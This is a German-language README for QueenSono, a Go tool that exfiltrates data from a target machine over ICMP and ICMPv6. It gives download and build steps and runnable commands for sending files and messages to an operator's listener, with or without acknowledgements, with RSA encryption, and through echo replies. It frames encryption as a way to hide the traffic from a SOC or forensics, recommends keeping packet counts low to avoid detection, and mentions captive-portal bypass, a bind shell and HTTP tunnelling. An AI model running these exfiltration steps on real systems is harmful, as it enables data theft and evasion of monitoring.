QueenSono ICMP-Datenexfiltration

Ein Golang-Paket für Datenexfiltration mit ICMP-Protokoll (IPv4 & IPv6).

QueenSono verlässt sich lediglich darauf, dass das ICMP-Protokoll nicht überwacht wird. Das ist recht üblich. Es könnte auch in einem System mit grundlegender ICMP-Inspektion (z.B. Überwachung von Frequenz und Inhaltlänge) verwendet werden oder um den Authentifizierungsschritt bei Captive Portals zu umgehen (die von vielen öffentlichen WLANs genutzt werden, um Benutzer nach der Verbindung zum WLAN zu authentifizieren, z.B. Flughafen-WLAN). Es versucht, PyExfil (und andere) nachzuahmen, mit dem Gedanken, dass auf dem Zielrechner nicht zwingend Python installiert sein muss (daher könnte die Bereitstellung einer Binärdatei nützlich sein).

Installieren · Nutzen · Notizen · Funktion anfragen · 🎁

Installieren

Mit curl

> Aus dem Release

curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

Mit go

> Über go install

Stellen Sie sicher, dass $GOPATH in Ihrem $PATH ist, bevor Sie fortfahren.

Installieren von qssender

go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender # Binärdatei umbenennen

Installieren von qsreceiver

go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver # Binärdatei umbenennen

> Binärdatei aus dem Quellcode installieren

Klonen Sie das Repository und laden Sie die Abhängigkeiten lokal herunter:

git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

Um den ICMP-Paket-Sender qssender zu bauen:

build.queensono-sender

Um den ICMP-Paket-Empfänger qsreceiver zu bauen:

build.queensono-receiver

Nutzung

qssender ist die Binärdatei, die ICMP-Pakete an den Listener sendet, also die Binärdatei, die Sie auf Ihr Zielsystem übertragen müssen.

qsreceiver ist der Listener auf Ihrem lokalen Rechner (oder überall dort, wo Sie ICMP-Pakete empfangen können).

Alle Befehle und Flags der Binärdateien finden Sie mit --help.

Beispiel 1: Senden mit "ACK" 🔙

> In diesem Beispiel möchten wir eine große Datei senden und auf Echo-Antworten warten, um den Empfang der Pakete zu bestätigen (ACK).

Auf dem lokalen Rechner:

$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt

Auf dem Zielrechner:

$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt # große Datei herunterladen (für das Beispiel)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt

Beispiel 2: Senden ohne "ACK" 🙈

> In diesem Beispiel möchten wir eine Nachricht senden, ohne auf eine Echo-Antwort zu warten (dies kann nützlich sein, falls die Firewall des Ziels eingehende ICMP-Pakete filtert).

Auf dem lokalen Rechner:

$ qsreceiver receive truncated 1 -l 0.0.0.0

echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

Auf dem Zielrechner:

$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N

Beispiel 3: Verschlüsselte Daten senden 🔒

> In diesem Beispiel möchten wir eine verschlüsselte Nachricht senden. Da die Befehlszeile ausspioniert werden könnte, verwenden wir asymmetrische Verschlüsselung (falls der Schlüssel ausläuft, ist das kein Problem).

Auf dem lokalen Rechner:

$ qsreceiver receive -l 0.0.0.0 --encrypt
<AUSGABE ÖFFENTLICHER SCHLÜSSEL>

Auf dem Zielrechner:

$ export MSG="<Ihre Nachricht>"
$ export KEY="<öffentlicher_Schlüssel_aus_der_qsreceiver-Ausgabe>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY

Über die Verschlüsselung

Es wird RSA-Verschlüsselung verwendet, um die ausgetauschten Daten vertraulich zu halten. Dies kann z. B. nützlich sein, um zu verhindern, dass ein SOC (oder die Forensik) bei einer einfachen Analyse sieht, welche Daten ausgetauscht werden, oder einfach aus Datenschutzgründen.

Dies hat jedoch seinen Preis. Die Wahl der asymmetrischen Verschlüsselung ist dadurch motiviert, dass der Verschlüsselungsschlüssel in der Befehlszeile eingegeben wird (also leicht ausgelesen werden kann). Daher verschlüsseln wir Daten mit dem öffentlichen Schlüssel. Falls jemand den Verschlüsselungsschlüssel erhält, kann er die Nachricht so nicht entschlüsseln. Der öffentliche Schlüssel ist jedoch kleiner als der private, sodass er kleinere Nachrichten verschlüsselt. Außerdem ist es rechnerisch aufwändig.

Ein weiterer Punkt: Da wir die Datenmenge / Ping-Anfragen begrenzen möchten (um Erkennung, Fehler usw. zu vermeiden), verwenden Sie die Verschlüsselung nur bei Bedarf, da die Ausgabegröße der Nachricht (sollte) immer der Größe des Modulus (Teil des Schlüssels) entspricht, was groß ist.

Verbesserung

Derzeit wird die gesamte Nachricht verschlüsselt und dann in Stücke (Chunks) geteilt und gesendet. Auf der anderen Seite warten wir auf alle Pakete (Chunks), setzen die Nachricht wieder zusammen und entschlüsseln sie dann. Das funktioniert aber ⇔ wir haben ALLE Chunks erhalten, andernfalls schlägt die Entschlüsselung fehl.

=> Wir könnten jeden Chunk entsprechend dem Parameter -s verschlüsseln, sodass wir sie separat entschlüsseln könnten.

Beispiel 4: Daten per Echo-Antwort empfangen ↩️

> In diesem Beispiel sendet der lokale Rechner Daten zurück an das Ziel über ICMP-Echo-Antworten. Nützlich, wenn ausgehende ICMP-Pakete vom Ziel gefiltert werden, das Ziel aber Echo-Antworten empfangen kann.

Auf dem lokalen Rechner:

$ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1

Auf dem Zielrechner:

$ qssender receive -l 0.0.0.0 -r 10.0.0.92

IPv6-Unterstützung

QueenSono unterstützt ICMPv6 transparent. Geben Sie eine IPv6-Adresse an, und das Protokoll wird automatisch erkannt – keine zusätzlichen Flags erforderlich.

Auf dem lokalen Rechner:

$ qsreceiver receive -l ::

Auf dem Zielrechner:

$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000

Alle Modi (Senden mit ACK, Senden ohne ACK, verschlüsselt, Echo-Antwort) funktionieren auf die gleiche Weise über IPv6.

Bonus

Siehe hack-Abschnitt für unterhaltsame Dinge mit QueenSono:

• Gebundene Shell per ICMP
• HTTP über ICMP-Tunneling

Notizen

• funktioniert nur unter Linux (aufgrund der Verwendung des Golang-Net-ICMP-Pakets)
• benötigt cap_net_raw-Fähigkeiten
• unterstützt sowohl IPv4 (ICMP) als auch IPv6 (ICMPv6) – wird automatisch anhand der Adresse erkannt
• wenn Sie tatsächlich ICMP-Pakete auf 2 verschiedenen Rechnern senden und auf Echo-Antworten warten, stellen Sie sicher, dass Sie eine vom entfernten Rechner erreichbare IP als Abhöradresse verwenden (verwenden Sie nicht localhost oder ähnliches)